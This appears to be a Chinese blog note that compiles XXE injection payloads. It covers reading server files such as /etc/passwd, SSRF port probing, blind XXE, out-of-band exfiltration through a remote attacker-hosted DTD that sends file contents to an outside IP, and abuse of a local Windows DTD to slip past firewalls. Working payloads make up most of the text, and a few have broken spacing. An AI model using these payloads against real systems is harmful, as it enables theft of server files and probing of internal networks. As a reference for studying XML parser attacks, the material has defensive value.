XXE注入高端操作攻擊payload匯總【補】

  • 2019 年 10 月 10 日
  • 筆記

1、有回顯—讀伺服器文件:

外部一般實體:

<?xml version="1.0"?>

<!DOCTYPE ANY [

<!ENTITYcontent SYSTEM"file:///etc/passwd">]>

<name>&content;</name>

2、SSRF—探測埠:

適用於有回顯和blind xxe,也是外部一般實體:

<?xml version="1.0"?>

<!DOCTYPE ANY [

<!ENTITY contentSYSTEM "http://10.165.89.150:88">]>

<name>&content;</name>

根據響應時間判斷:

開放埠,響應時間為16millis:

未開放埠,延遲反應1047millis:

3、Blind xxe

控制web伺服器任意發包:

<?xml version="1.0"?>

<!DOCTYPE ANY [

<!ENTITYcontent SYSTEM " http://<oursite>/hhhhhhh">]>

<name>&content;</name>

這樣可以控制伺服器向我們自己的伺服器發包,上面我們請求了自己的伺服器上一個不存在的文件/hhhhh,通過日誌可以看到請求發送成功。這裡請求web伺服器的方法也可以換成請求任意埠,然後在我們的伺服器開啟nc監聽。

4、OOB blind

OOB(Out-Of-Band)是個通用的技巧,在其他漏洞場景也有利用。在這裡其實是1和3的結合,發兩個包,分別請求web伺服器的敏感文件和我們的伺服器,以此將數據帶出:

<?xml version="1.0"?>

<!DOCTYPE message [

<!ENTITY% files SYSTEM "file:///etc/passwd">

<!ENTITY% send SYSTEM "http://myip/?a=%files;">

%send;]>

但由於XML解析器不會解析同級參數實體的內容,所以我們在自己的伺服器上放一個dtd文件,然後通過請求遠程調用這個外部實體(像RFI)。

向伺服器發送請求:

<?xml version="1.0"encoding="utf-8"?>

<!DOCTYPE dataSYSTEM "http://10.165.89.150:88/xxe.dtd">

<data>&send;</data>

150伺服器上的DTD文件如下:

<!ENTITY % fileSYSTEM "file:///C:/jayway.txt">

<!ENTITY % all"<!ENTITY send SYSTEM'http://10.165.89.150:88/?%file;'>">

%all;

梳理一下數據流向:xml發包,重定向到dtd文件,把結果賦給data——>轉入伺服器的dtd文件,dtd中首先請求了web伺服器的C盤文件,內容賦給file參數——>再請求我們的伺服器,並將file參數作為請求的一部分,賦值給send,send送給外層的% all——>%all執行實體——>從dtd中出去,執行普通實體send。最終會把web伺服器的數據帶到我們的伺服器的日誌中:

TIP:實體分普通實體和參數實體,區別是參數實體有%;而且參數實體在[]內執行,普通實體需要在外單獨執行。這裡請求使用參數實體也可以,效果是一樣的:

<?xml version="1.0"?>

<!DOCTYPE data[

<!ENTITY % remoteSYSTEM " http://10.165.89.150:88/xxe.dtd ">

%remote;

%send;]>

<data>4</data>

5、本地DTD

用於web伺服器和我們的伺服器之間存在防護牆的情況,每個作業系統都自帶dtd文件,可以在目標主機上重新定義一些參數實體來強制執行本地dtd文件:比如windows下有C:WindowsSystem32wbemxmlcim20.dtd:

則可以構造payload,實現同樣的效果:

<?xmlversion="1.0"?>

<!DOCTYPEmessage [

<!ENTITY % remote SYSTEM

"file:///C:/Windows/System32/wbem/xml/cim20.dtd">

<!ENTITY &#x25; file SYSTEM "file:///C:/jayway.txt">

<!ENTITY % SuperClass '

<!ENTITY &#x25; eval"<!ENTITY &#x26;#x25; send SYSTEM &#x27;http://10.165.89.150:88/?&#x25;file;&#x27;>">

&#x25;eval;

&#x25;send;

'>

%remote;

]>

<message>1234</message>

這裡使用三層參數實體嵌套,在docbookx.dtd文件中調用了% SuperClass,在SuperClass定義的實體中相繼調用了eval、和send。